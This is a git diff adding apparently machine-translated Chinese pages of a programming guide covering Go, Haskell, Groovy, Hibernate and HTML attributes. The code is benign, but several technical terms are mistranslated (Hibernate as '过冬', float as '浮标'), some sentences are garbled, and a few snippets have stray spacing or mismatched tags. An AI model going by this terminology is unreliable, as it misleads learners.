+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+输出： `This apple is green!` 。
+
+### 下通
+
+跳到下一个案例，其条件是否为真。
+
+```go
+switch fruit := "banana"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+        fallthrough 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+输出： `Yellow and long.`和`Red and round.` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/the-zero-value/index.md b/client/src/guide/chinese/go/the-zero-value/index.md
new file mode 100644
index 0000000000..5475ae3913
--- /dev/null
+++ b/client/src/guide/chinese/go/the-zero-value/index.md
@@ -0,0 +1,30 @@
+---
+title: The Zero Value
+localeTitle: 零价值
+---
+## 零价值
+
+了解Golang中的一些零值：
+
+1.  对于布尔人来说是假的
+2.  0表示整数
+3.  0.0浮标
+4.  “”表示字符串
+5.  没有
+
+*   指针
+*   功能
+*   接口
+*   片
+*   渠道
+*   地图
+
+请尽可能使用简短的申报运营商。
+
+*   使用var代表：
+    
+*   零值
+    
+*   包装范围
+    
+    ### 更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/use-templates-with-your-webserver/index.md b/client/src/guide/chinese/go/use-templates-with-your-webserver/index.md
new file mode 100644
index 0000000000..7a8a22df44
--- /dev/null
+++ b/client/src/guide/chinese/go/use-templates-with-your-webserver/index.md
@@ -0,0 +1,71 @@
+---
+title: Using templates with your web server
+localeTitle: 在Web服务器上使用模板
+---
如果您有Web服务器，则可能需要在响应中插入数据。我们来看一些代码：
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  page.NAME = "Mark" 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+```
+
+现在启动此程序并浏览您的浏览器：
+```
+http://localhost:8080/ 
+```
+
+答复将是：
+```
+Hello Mark! 
+```
+
+但是这是如何工作的以及代码的作用是什么？好吧，首先我们导入`net/http`包，这样我们就可以运行Web服务器了。然后我们导入`html/template`包。这启用了一个称为模板的功能;这就是本文的内容。
+
+我们还创建了一个名为`PAGE`的类型，它有一个名为`NAME`字段作为`string` 。我们还创建了一个名为`PAGE` `page`的全局变量，我们刚创建的结构。在`main`函数中，我们给`page`的`NAME`字段一个值`Mark` - 我的名字，但随意使用你自己的名字！
+
+`servePage`函数`servePage`有点困难。让我们把它分开：
+
+```go
+func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+ 
+  // 1. Creating a template 
+  template := template.New("sayHello") 
+ 
+  // 2. Filling the template 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+ 
+  // 3. Executing the template 
+  template.Execute(writer, page) 
+ } 
+```
+
+我们在这做什么？让我们一步一步看：
+
+1.  我们创建了一个_模板_ 。您需要输入一个名称，但选择的名称并不重要。在这里，我选择了`sayHello` 。
+2.  然后我们用一些文本填充模板。请注意`{{.NAME}}` 。
+3.  最后，我们_执行_模板。这意味着模板已填写并发送给客户端。
+
+但是我们如何从`{{.NAME}}`转到`Mark` ？那么，还记得我们使用`page`变量作为`Execute`方法的参数吗？此方法会查看模板中的数据并看到`{{.NAME}}` 。 `.NAME`表示它应该在调用`Execute`时指定为参数的变量中查找名为`NAME`的字段。在这种情况下，它会找到该字段，并注意到该值为`Mark` 。 `{{`和`}}`告诉`Execute`它应该用它找到的值替换`{{.NAME}}` 。所以最终结果将成为`Hello Mark!` 。
+
+您可以拥有多个字段和多个`{{.XXX}}` 。这是一种非常简单的方法，您可以将数据插入到响应中，现在您就知道如何在Go中模板化了！
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/variadic-functions/index.md b/client/src/guide/chinese/go/variadic-functions/index.md
new file mode 100644
index 0000000000..48372d6231
--- /dev/null
+++ b/client/src/guide/chinese/go/variadic-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: Variadic Functions
+localeTitle: 变量函数
+---
+## 变量函数
+
+可变参数函数是可以使用任意数量的尾随参数调用的函数。
+
+当我们处理网络应用时，这是一个有用的功能。
+
+有时我们不需要将多少元素传递给HTML模板引擎。
+
+以下是有关varidic函数如何工作的基础知识：
+
+```go
+package main 
+ import "fmt" 
+ 
+ func printFruits(fruits ...string) { 
+    for _, fruit := range fruits{ 
+        fmt.Println(fruit) 
+    } 
+ } 
+ 
+ func main() { 
+   printFruits("apple", "bannana") 
+   printFruits("papaya", "coconut", "pear", "pineapple") 
+   berries := []string{"blueberry", "strawberry", "raspberry"} 
+   printFruits(berries...) 
+ } 
+```
+
+首先，在printFruits中，我们用\[... string\]定义了参数个数。
+
+这告诉Go这个函数接受任意数量的字符串参数。
+
+对printFruits的前两次调用显示该函数将打印每个字符串，即使我们传递的是不同数量的参数。
+
+```text
+apple 
+ bannana 
+ ... 
+ papaya 
+ coconut 
+ pear 
+ ... 
+```
+
+这也适用于切片。
+
+要使用带切片的vardiac函数，我们将训练点添加到调用中。
+
+```go
+printFruits(berries...) 
+```
+
+```text
+blueberry 
+ strawberry 
+ raspberry 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/groovy/index.md b/client/src/guide/chinese/groovy/index.md
new file mode 100644
index 0000000000..abedc7acb5
--- /dev/null
+++ b/client/src/guide/chinese/groovy/index.md
@@ -0,0 +1,11 @@
+---
+title: Groovy
+localeTitle: Groovy的
+---
+## Groovy的
+
+Apache Groovy或Groovy是一种功能强大且动态的语言，具有Java平台的静态编译和输入功能，旨在通过其简洁和熟悉的语法提高生产力。它可以轻松地与任何Java程序集成。
+
+#### 更多信息：
+
+有关文档和更多信息，请访问[Groovy的官方网站](http://groovy-lang.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/haskell/hello-world/index.md b/client/src/guide/chinese/haskell/hello-world/index.md
new file mode 100644
index 0000000000..969756eb28
--- /dev/null
+++ b/client/src/guide/chinese/haskell/hello-world/index.md
@@ -0,0 +1,25 @@
+---
+title: Hello World Program
+localeTitle: 你好世界计划
+---
+## Haskell中最简单的Hello World程序
+
+```haskell
+main :: IO () 
+ main = do 
+    putStrLn "Hello World" 
+```
+
+## Hello World使用函数组合
+
+```haskell
+hello :: String 
+ hello = "Hello World" 
+ 
+ printer :: String -> IO () 
+ printer = putStrLn . show 
+ 
+ main :: IO () 
+ main = printer hello 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/haskell/index.md b/client/src/guide/chinese/haskell/index.md
new file mode 100644
index 0000000000..22ca76894a
--- /dev/null
+++ b/client/src/guide/chinese/haskell/index.md
@@ -0,0 +1,53 @@
+---
+title: Haskell
+localeTitle: 哈斯克尔
+---
+## 什么是Haskell？
+
+Haskell是一种标准化，通用，纯函数式编程语言，具有声明性和强静态类型。
+
+Haskell在数学方面有着深厚的根基，你很快就会学会欣赏它的含义。
+
+## 版
+
+目前最新版本的GHC为8.6（截至2018年10月12日）
+
+## 安装
+
+安装Haskell的推荐方法是使用stack： [stack download](https://docs.haskellstack.org/en/stable/README/#how-to-install) Stack是一个用于开发Haskell项目的跨平台程序。它的目标是Haskellers既新颖又经验丰富。
+
+要真正开始使用Haskell，您需要GHC（The Glasgow Haskell编译器），因此要设置： [堆栈设置](https://docs.haskellstack.org/en/stable/README/#how-to-install://docs.haskellstack.org/en/stable/README/#quick-start-guide)
+
+```shell
+stack new my-project 
+ cd my-project 
+ stack setup 
+ stack build 
+ stack exec my-project-exe 
+```
+
+一句谨慎，尽量不要使用堆栈安装即使它将全局安装包，也不建议这样做，因为不同版本的包与不同版本的GHC兼容。因此，使用堆栈构建使用包的本地副本是最好的方法。
+
+## 你好，世界
+
+```haskell
+main :: IO () 
+ main = print "Hello Haskell :)" 
+```
+
+将上面的代码保存在名为“hello.hs”的文件中并保存。
+
+要编译Hello World示例，这会将我们的haskell代码转换为机器可理解的字节码。
+
+```shell
+stack ghc hello.hs 
+ ./hello 
+```
+
+## 文档
+
+Hackage为Haskell提供了文档
+
+## 想了解更多？
+
+*   Haskell wiki [链接](https://wiki.haskell.org/Haskell)
\ No newline at end of file
diff --git a/client/src/guide/chinese/haskell/misc/index.md b/client/src/guide/chinese/haskell/misc/index.md
new file mode 100644
index 0000000000..54af8142d5
--- /dev/null
+++ b/client/src/guide/chinese/haskell/misc/index.md
@@ -0,0 +1,17 @@
+---
+title: miscellaneous
+localeTitle: 杂
+---
+当你对Haskell的工作方式感到满意时
+
+## hoogle
+
+这就像谷歌，但对于Haskell图书馆
+
+要使用堆栈安装hoogle：
+
+```shell
+    stack build hoogle 
+```
+
+## lambda机器人
\ No newline at end of file
diff --git a/client/src/guide/chinese/haskell/monad/index.md b/client/src/guide/chinese/haskell/monad/index.md
new file mode 100644
index 0000000000..89eb2577fd
--- /dev/null
+++ b/client/src/guide/chinese/haskell/monad/index.md
@@ -0,0 +1,25 @@
+---
+title: Monad
+localeTitle: 单子
+---
+# Monad Laws
+
+数据类型必须满足3个法则才能被视为monad
+
+# 也许莫纳德
+
+```haskell
+justHead :: Maybe Char 
+ justHead = do 
+    (x:xs) <- Just "" 
+    return x 
+```
+
+# 列出Monad
+
+回归与纯粹的应用相同
+
+实例Monad \[\]在哪里  
+return x = \[x\]  
+xs >> = f = concat（map f xs）  
+失败\_ = \[\]
\ No newline at end of file
diff --git a/client/src/guide/chinese/hibernate/index.md b/client/src/guide/chinese/hibernate/index.md
new file mode 100644
index 0000000000..c7bb2b342d
--- /dev/null
+++ b/client/src/guide/chinese/hibernate/index.md
@@ -0,0 +1,11 @@
+---
+title: Hibernate
+localeTitle: 过冬
+---
+## 过冬
+
+Hibernate ORM，通常称为Hibernate，是Java的对象关系映射工具。它提供了一个用于将面向对象的域模型映射到关系数据库的系统。它拥有多个高级对象处理功能。
+
+#### 更多信息：
+
+有关文档和下载，请访问[Hibernate的官方站点](https://hibernate.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/a-href-attribute/index.md b/client/src/guide/chinese/html/attributes/a-href-attribute/index.md
new file mode 100644
index 0000000000..3bfe2a569c
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/a-href-attribute/index.md
@@ -0,0 +1,80 @@
+---
+title: A Href Attribute
+localeTitle: Href属性
+---
+## Href属性
+
+`<a href>`属性是指链接提供的目标。没有`<href>`属性的`a` （锚）标签已经死了。有时在您的工作流程中，您不想要实时链接，或者您还不知道链接目的地。在这种情况下，将`href`属性设置为`"#"`以创建死链接很有用。 `href`属性可用于链接到Internet上的本地文件或文件。
+
+例如：
+
+```html
+
+<html> 
+  <head> 
+    <title>Href Attribute Example</title> 
+  </head> 
+  <body> 
+    <h1>Href Attribute Example</h1> 
+      <p> 
+        <a href="https://www.freecodecamp.org/contribute/">The freeCodeCamp Contribution Page</a> shows you how and where you can contribute to freeCodeCamp's community and growth. 
+      </p> 
+    </h1> 
+  </body> 
+ </html> 
+```
+
+所有浏览器都支持`<a href>`属性。
+
+#### 更多属性：
+
+`hreflang` ：指定链接资源的语言。 `target` ：指定链接资源将在其中打开的上下文。 `title` ：定义链接的标题，该链接在用户看来是工具提示。
+
+### 例子
+
+```html
+
+<a href="#">This is a dead link</a> 
+ <a href="https://www.freecodecamp.org">This is a live link to freeCodeCamp</a> 
+ <a href="https://html.com/attributes/a-href/">more with a href attribute</a> 
+```
+
+### 页内锚点
+
+也可以将锚点设置到页面的某个位置。要执行此操作，您应首先在页面上的位置放置一个标签，其中包含标记和必要属性“name”，其中包含任何关键字说明，如下所示：
+
+```html
+
+<a name="top"></a> 
+```
+
+不需要标签之间的任何描述。之后，您可以在同一页面的任何位置放置一个指向此锚点的链接。要做到这一点，你应该使用带有符号＃（sharp）的必要属性“href”的标签和锚点的关键字描述，如下所示：
+
+```html
+
+<a href="#top">Go to Top</a> 
+```
+
+### 图片链接
+
+`<a href="#">`也可以应用于图像和其他HTML元素。
+
+### 例
+
+```html
+
+<a href="#"><img itemprop="image" style="height: 90px;" src="http://www.chatbot.chat/assets/images/header-bg_y.jpg" alt="picture">  </a> 
+```
+
+### 例
+
+[![图片](http://www.chatbot.chat/assets/images/header-bg_y.jpg)](#)
+
+### 更多href的例子
+
+```html
+
+<base href="https://www.freecodecamp.org/a-href/">This gives a base url for all further urls on the page</a> 
+ <link href="style.css">This is a live link to an external stylesheet</a> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/a-target-attribute/index.md b/client/src/guide/chinese/html/attributes/a-target-attribute/index.md
new file mode 100644
index 0000000000..d4eaaba9a2
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/a-target-attribute/index.md
@@ -0,0 +1,53 @@
+---
+title: A Target Attribute
+localeTitle: 目标属性
+---
+## 目标属性
+
+的`<a target>`属性指定在何处打开在所链接的文档`a` （锚）标签。
+
+#### 例子：
+
+值为“\_blank”的目标属性会在新窗口或选项卡中打开链接的文档。
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_blank">freeCodeCamp</a> 
+```
+
+值为“\_self”的目标属性会在链接的文档与单击时打开相同的框架（这是默认设置，通常不需要指定）。
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_self">freeCodeCamp</a> 
+```
+
+```html
+
+    <a href="https://www.freecodecamp.org">freeCodeCamp</a> 
+```
+
+值为“\_parent”的目标属性将打开父框架中的链接文档。
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_parent">freeCodeCamp</a> 
+```
+
+值为“\_top”的目标属性将在窗口的完整正文中打开链接的文档。
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_top">freeCodeCamp</a> 
+```
+
+值为_“framename”_的target属性打开指定命名框架中的链接文档。
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="framename">freeCodeCamp</a> 
+```
+
+#### 更多信息：
+
+目标属性： [w3schools](https://www.w3schools.com/tags/att_a_target.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/autofocus-attribute/index.md b/client/src/guide/chinese/html/attributes/autofocus-attribute/index.md
new file mode 100644
index 0000000000..69f2f1d859
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/autofocus-attribute/index.md
@@ -0,0 +1,35 @@
+---
+title: Autofocus Attribute
+localeTitle: 自动对焦属性
+---
+## 自动对焦属性| HTML5
+
+**autofocus**属性是布尔属性。
+
+如果存在，它指定元素应在页面加载时自动获得输入焦点。
+
+文档中只有一个表单元素可以具有**自动聚焦**属性。它不能应用于`<input type="hidden">` 。
+
+### 适用于
+
+|元素|属性| | ： - | ： - | | `<button>` |自动对焦| | `<input>` |自动对焦| | `<select>` |自动对焦| | `<textarea>` |自动对焦|
+
+### 例
+
+```html
+
+<form> 
+    <input type="text" name="fname" autofocus> 
+    <input type="text" name="lname"> 
+ </form> 
+```
+
+### 兼容性
+
+这是一个HTML5属性。
+
+#### 更多信息：
+
+w3schools.com上的[HTML自动对焦属性](https://www.w3schools.com/tags/att_autofocus.asp)
+
+MDN Web文档上的[<input> autofocus属性](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/body-background-attribute/index.md b/client/src/guide/chinese/html/attributes/body-background-attribute/index.md
new file mode 100644
index 0000000000..03663e70f7
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/body-background-attribute/index.md
@@ -0,0 +1,35 @@
+---
+title: Body Background Attribute
+localeTitle: 身体背景属性
+---
+## 身体背景属性
+
+如果要添加背景图像而不是颜色，则一种解决方案是`<body background>`属性。它指定HTML文档的背景图像。
+
+句法：
+
+`<body background="URL">`
+
+属性：
+
+`background - URL for background image`
+
+例：
+
+```html
+
+<html> 
+  <body background="https://assets.digitalocean.com/blog/static/hacktoberfest-is-back/hero.png"> 
+  </body> 
+ </html> 
+```
+
+## body-background属性已折旧
+
+在HTML5中不推荐使用body-background属性。设置`<body>`标签样式的正确方法是使用CSS。
+
+有几个CSS属性用于设置元素的背景。这些都可以使用设置整个页面的背景。
+
+## 看看这个：
+
+*   [CSS背景属性](https://github.com/freeCodeCamp/guides/blob/master/src/pages/css/background/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/body-bgcolor-attribute/index.md b/client/src/guide/chinese/html/attributes/body-bgcolor-attribute/index.md
new file mode 100644
index 0000000000..2499bdfbdf
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/body-bgcolor-attribute/index.md
@@ -0,0 +1,45 @@
+---
+title: Body Bgcolor Attribute
+localeTitle: 身体Bgcolor属性
+---
+## 身体Bgcolor属性
+
+`<body bgcolor>`属性为HTML文档指定背景颜色。
+
+**语法** ：
+
+`<body bgcolor="color">` 颜色值可以是颜色名称（如`purple` ）或十六进制值（如`#af0000` ）。
+
+要为网页添加背景颜色，可以使用`<body bgcolor="######">`属性。它指定要显示的HTML文档的颜色。
+
+**例如：**
+
+```html
+
+<html> 
+  <head> 
+    <title>Body bgcolor Attribute example</title> 
+  </head> 
+  <body bgcolor="#afafaf"> 
+    <h1>This webpage has colored background.</h1> 
+  </body> 
+ </html> 
+```
+
+您可以通过将######替换为十六进制值来更改颜色。对于简单的颜色，您也可以使用单词，例如“红色”或“黑色”。
+
+所有主流浏览器都支持`<body bgcolor>`属性。
+
+_注意：_
+
+*   HTML 5不支持`<body bgcolor>`属性。使用CSS实现此目的。怎么样？通过使用以下代码： `<body style="background-color: color">` 当然，您也可以在单独的文档中而不是内联方法中执行此操作。
+    
+*   不要在`<body bgcolor>`属性中使用RGB值，因为`rgb()`仅用于CSS，也就是说，它不能用于HTML。
+    
+
+**看到它在行动：** https://repl.it/Mwht/2
+
+**其他资源：**
+
+*   HTML颜色名称：https：//www.w3schools.com/colors/colors\_names.asp
+*   CSS background-color属性：https：//www.w3schools.com/cssref/pr\_background-color.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/div-align-attribute/index.md b/client/src/guide/chinese/html/attributes/div-align-attribute/index.md
new file mode 100644
index 0000000000..f17a0f90a0
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/div-align-attribute/index.md
@@ -0,0 +1,47 @@
+---
+title: Div Align Attribute
+localeTitle: Div Align属性
+---
+## DIV对齐属性
+
+所述`<div align="">`属性用于在div标签文本对准至左，右，中心或证明。
+
+例如：
+
+```html
+
+<html> 
+ <head> 
+ <title> Div Align Attribbute </title> 
+ </head> 
+ <body> 
+ <div align="left"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="right"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="center"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ <div align="justify"> 
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 
+ </div> 
+ </body> 
+ </html> 
+```
+
+## 重要！
+
+此属性是HTML5中不再支持。 CSS是要走的路。
+
+的DIV align属性可以用来水平对齐一个div内的内容。在下面的例子中，文本将在div内居中。
+
+```html
+
+<div align="center"> 
+  This Text Will Be Centered 
+ </div> 
+```
+
+\*\*此属性不支持HTML5和[CSS文本对齐](https://github.com/freeCodeCamp/guides/blob/f50b7370be514b2a03ee707cd0f0febe2bb713ae/src/pages/css/text-align/index.md) ，而应使用
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/font-color-attribute/index.md b/client/src/guide/chinese/html/attributes/font-color-attribute/index.md
new file mode 100644
index 0000000000..e92dc3b344
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/font-color-attribute/index.md
@@ -0,0 +1,55 @@
+---
+title: Font Color Attribute
+localeTitle: 字体颜色属性
+---
+## 字体颜色属性
+
+此属性用于为`<font>`标记中包含的文本设置颜色。
+
+### 句法：
+
+\`\`HTML \`\`\`
+
+### 重要：
+
+HTML5不支持此属性。相反，这篇[freeCodeCamp文章](https://guide.freecodecamp.org/css/colors)指定了一个可以使用的CSS方法。
+
+### 注意：
+
+也可以使用“十六进制代码”或“rgb代码”指定颜色，而不是使用名称。
+
+### 例：
+
+1.  颜色名称属性
+
+```html
+
+<html> 
+  <body> 
+   <font color="green">Font color example using color attribute</font> 
+ </body> 
+ </html> 
+```
+
+2.  十六进制代码属性
+
+```html
+
+<html> 
+  <body> 
+   <font color="#00FF00">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+```
+
+3.  RGB属性
+
+```html
+
+<html> 
+  <body> 
+    <font color="rgb(0,255,0)">Font color example using color attribute</font> 
+  </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/font-size-attribute/index.md b/client/src/guide/chinese/html/attributes/font-size-attribute/index.md
new file mode 100644
index 0000000000..cc29551254
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/font-size-attribute/index.md
@@ -0,0 +1,24 @@
+---
+title: Font Size Attribute
+localeTitle: 字体大小属性
+---
+## 字体大小属性
+
+此属性将字体大小指定为数字或相对值。数值范围从`1`到`7`其中`1`表示最小值， `3`表示默认值。它也可以使用相对值定义，例如`+2`或`-3` ，它相对于`<basefont>`元素的size属性的值设置它，或相对于`3` ，默认值（如果不存在）。
+
+句法：
+
+`<font size="number">`
+
+例：
+
+```html
+
+<html> 
+  <body> 
+    <font size="6">This is some text!</font> 
+  </body> 
+ </html> 
+```
+
+注意： `The size attribute of <font> is not supported in HTML5. Use CSS instead.`
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/href-attribute/index.md b/client/src/guide/chinese/html/attributes/href-attribute/index.md
new file mode 100644
index 0000000000..6a23eea413
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/href-attribute/index.md
@@ -0,0 +1,26 @@
+---
+title: Href Attribute
+localeTitle: Href属性
+---
+## Href属性
+
+Href是“超文本引用”的缩写，是HTML属性。 href属性主要用于`<a>`标签，以指定链接所指向的网页的URL（无论是在同一页面的不同部分，还是在完全不同的网页上）。
+
+#### 如何使用
+
+`<a href="URL"></a>`
+
+#### 例子
+
+```html
+
+<a href="https://www.freecodecamp.org">This is an absolute URL</a> 
+ 
+ <a href="index.html">This is a relative URL</a> 
+```
+
+#### 更多信息：
+
+[W3Schools的](https://www.w3schools.com/tags/att_href.asp)
+
+[HTMLElementReference](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/href/index.md b/client/src/guide/chinese/html/attributes/href/index.md
new file mode 100644
index 0000000000..90a2a04b40
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/href/index.md
@@ -0,0 +1,56 @@
+---
+title: Href
+localeTitle: HREF
+---
+## HREF
+
+超文本引用（HREF）是一种HTML属性，可用于指定链接目标或统一资源定位符（URL）。最常见的是，您会看到HREF属性与锚标签`<a>`配对。
+
+HREF属性根据使用它的元素获取链接的确切含义。例如，当与`<a>`标签一起使用时，它将表示对象的位置表示为URL。将HREF属性与`<image>`标记一起使用时，HREF属性引用要呈现的图像的URL。
+
+### 例子：
+
+链接到Google的主页：
+
+\- >文本“访问Google的主页就像链接到主页一样
+
+```html
+
+<a href="https://www.google.com">Visit Google's Homepage</a> 
+```
+
+图像作为链接：
+
+\- > Google徽标，指的是Google的主页
+
+```html
+
+<a href="https://www.google.com"> 
+ <img border="0" alt="Google" src="https://www.google.com/logos/doodles/2015/googles-new-logo-5078286822539264.3-hp2x.gif" width="100" height="100"> 
+```
+
+使用HREF的标签：
+
+```html
+
+<a> 
+ <area> 
+ <base> 
+ <cursor> 
+ <discard> 
+ <feImage> 
+ <hatch> 
+ <image> 
+ <link> 
+ <mesh> 
+ <meshgradient> 
+ <mpath> 
+ <pattern> 
+ <script> 
+ <textPath> 
+ <use> 
+```
+
+#### 更多信息：
+
+[无论如何，WTF是一个href](https://tomayko.com/blog/2008/wtf-is-an-href-anyway) [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/href)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/img-align-attribute/index.md b/client/src/guide/chinese/html/attributes/img-align-attribute/index.md
new file mode 100644
index 0000000000..7f17005d2c
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/img-align-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: Img Align Attribute
+localeTitle: Img对齐属性
+---
+## Img对齐属性
+
+图像的align属性指定图像应根据周围元素对齐的位置。
+
+属性值：  
+右 - 将图像右对齐 left - 将图像对齐到左侧  
+顶部 - 将图像对齐到顶部  
+bottom - 将图像对齐到底部  
+中 - 将图像对齐到中间
+
+例如：
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+   <title>Img Align Attribute</title> 
+ </head> 
+ <body> 
+  <p>This is an example. <img src="image.png" alt="Image" align="middle"> More text right here 
+  <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+```
+
+如果我们想要，我们也可以正确对齐：
+
+```html
+
+<p>This is another example<img src="image.png" alt="Image" align="right"></p> 
+```
+
+**请注意HTML5中不支持align属性，您应该使用CSS代替。但是，它仍然受到所有主流浏览器的支持。**
+
+#### 更多信息：
+
+[关于img标签及其属性的MDN文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/img-src-attribute/index.md b/client/src/guide/chinese/html/attributes/img-src-attribute/index.md
new file mode 100644
index 0000000000..07b9a02148
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/img-src-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: Img Src Attribute
+localeTitle: Img Src属性
+---
+## Img Src属性
+
+`<img src>`属性指的是要显示的图像的来源。没有`src`属性， `img`标签不会显示图像。但是，如果将源设置为图像的位置，则可以显示任何图像。
+
+freeCodeCamp徽标的图片位于`https://avatars0.githubusercontent.com/u/9892522?v=4&s=400`
+
+您可以使用`src`属性将其设置为图像。
+
+```html
+
+<html> 
+  <head> 
+    <title>Img Src Attribute Example</title> 
+  </head> 
+  <body> 
+    <img src="https://avatars0.githubusercontent.com/u/9892522?v=4&s=400"> 
+  </body> 
+ </html> 
+```
+
+上面的代码显示如下：
+
+![freeCodeCamp头像](https://avatars0.githubusercontent.com/u/9892522?v=4&s=400?raw=true)
+
+所有浏览器都支持`src`属性。
+
+您还可以将本地托管的文件作为图像。
+
+例如，只要'images'文件夹与`index.html`文件位于同一位置，如果你有一个名为`images`的文件夹里面有`freeCodeCamp.jpeg` ，那么`<img src="images/freeCodeCamp.jpeg>`就可以了。 。
+
+`../files/index.html`
+
+`..files/images/freeCodeCamp.jpeg`
+
+### 更多信息：
+
+*   [HTML.com](https://html.com/attributes/img-src/)
+*   [W3学校](https://www.w3schools.com/tags/att_img_src.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/img-width-attribute/index.md b/client/src/guide/chinese/html/attributes/img-width-attribute/index.md
new file mode 100644
index 0000000000..4cb57ad509
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/img-width-attribute/index.md
@@ -0,0 +1,28 @@
+---
+title: Img Width Attribute
+localeTitle: Img宽度属性
+---
+## Img宽度属性
+
+HTML“width”属性指的是图像的宽度。引号中的值是像素数量。
+
+例如，如果您已经通过`src`属性设置了图像链接，则可以添加width属性，如下所示：
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Img Width Attribute</title> 
+  </head> 
+  <body> 
+    <img src="image.png" alt="Image" width="100"/> 
+  </body> 
+ </html> 
+```
+
+在上面的代码段中，有一个图像标记，图像的宽度设置为100像素。 `width="100"`
+
+#### 更多信息：
+
+[关于img标签的MDN文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/index.md b/client/src/guide/chinese/html/attributes/index.md
new file mode 100644
index 0000000000..c252b5939c
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/index.md
@@ -0,0 +1,42 @@
+---
+title: Attributes
+localeTitle: 属性
+---
+# HTML属性
+
+HTML元素可以具有属性，其中包含有关元素的其他信息。
+
+HTML属性通常以名称 - 值对的形式出现，并且始终位于元素的开始标记中。属性名称表示您提供的有关元素的信息类型，属性值是实际信息。
+
+例如，HTML文档中的锚点（ `<a>` ）元素创建指向其他页面或页面其他部分的链接。您可以使用开始`<a>`标记中的`href`属性告诉浏览器链接发送用户的位置。
+
+以下是将用户发送到freeCodeCamp主页的链接示例：
+
+```html
+
+<a href="www.freecodecamp.org">Click here to go to freeCodeCamp!</a> 
+```
+
+请注意，属性名称（ `href` ）和值（“www.freeCodeCamp.org”）用等号分隔，引号括起来。
+
+有许多不同的HTML属性，但大多数只适用于某些HTML元素。例如，如果`href`属性位于开始`<h1>`标记中，则该属性将不起作用。
+
+在上面的示例中，提供给`href`属性的值可以是任何有效链接。但是，某些属性只有一组可以使用的有效选项，或者值必须采用特定格式。 `lang`属性告诉浏览器HTML元素中内容的默认语言。对于值`lang`属性应当使用规范的语言或国家代码，如`en`英语，或者`it`意大利。
+
+## 布尔属性
+
+某些HTML属性不需要值，因为它们只有一个选项。这些被称为布尔属性。标记中存在属性会将其应用于该HTML元素。但是，可以写出属性名称并将其设置为等于值的一个选项。在这种情况下，该值通常与属性名称相同。
+
